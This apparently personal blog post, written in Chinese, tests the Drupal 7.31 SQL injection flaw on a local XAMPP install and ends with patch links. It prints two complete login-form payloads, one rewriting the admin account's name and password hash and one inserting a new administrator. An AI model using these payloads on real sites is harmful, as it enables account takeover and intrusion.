D0g

我愿乘风破浪,踏遍黄沙海洋

©D0g
Powered by LOFTER
 

关于drupal-7.31注入漏洞测试

一、本地搭建drupal-7.31

我用的是XAMPP。安装好后开启apache和mysql,并创建一个数据库。







 

然后把drupal的源码文件夹放进去,访问并安装drupal。



 

我下载了一个中文包,安装。



 

安装成功!登录访问。



帐号:admin  密码:admin

 

二、渗透测试

首先百度谷歌了一下这个系统的漏洞,发现各大小安全网站都有报告,这是最近才出来的非常严重的洞。 具体原理分析如下:

1.drupal密码的加密方式。

这个问题坑了我好久。最先开始时候我在网上找了一段exp成功渗透了网站。但是不知道密码是什么加密方式,各种解密无果,登录不上去。

于是百度了解了下drupal的密码加密方式。原来在Drupal 7的安装目录中的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。

自己稍微改动了一下脚本,运行,得到密码cuit的加密密文,留着等下渗透用。



Password:cuit

hash:$S$Dld.Dut0GMDV5oLUw7BmYptJumMcD03e0Dczlh/HehMJQJj0zaiB

(ps:password-hash.sh要调用drupal安装包include目录下的password.inc和bootstrap.inc,根据自己改动的脚本,选择放置的位置,我这是放在同一目录下的。)





 

另外每次生成的密码是不一样的。因为在生成时,加入了时间戳等随机数。

2、渗透攻击

(1)修改用户

网上找了段修改用户的exp,把UID为1的账号和密码修改成admin1和cuit

name[0%20;update+users+set+name%3d'admin1'+,+pass+%3d+'$S$Dld.Dut0GMDV5oLUw7BmYptJumMcD03e0Dczlh/HehMJQJj0zaiB'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

找个工具提交exp,我用的k8



提交成功,查看数据库,发现帐号和密码已经被改了





登录试试?成功登录。



 

(2)增加用户

同样在网上找了一段增加用户的exp,大致意思是在UID最大的用户后面增加一个账号和密码为admin2和cuit的用户。

name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d'admin2'+,+pass+%3d+'$S$Dld.Dut0GMDV5oLUw7BmYptJumMcD03e0Dczlh/HehMJQJj0zaiB';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in

用工具提交exp。



 

查看数据库,发现增加了一个admin2用户。



 

同样可以登录成功。



 

注意提交EXP的URL地址后面必须  /    要不然不成功 ,

如127.0.0.1/drupal-7.31/

3.漏洞原理

网上关于这个漏洞的原理剖析很多,可是我看不懂。。。

(努力学习中)

 

三、修复方案

1.  直接使用官方补丁进行修复:
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

2.  升级到 Drupal 7.32https://www.drupal.org/drupal-7.32-release-notes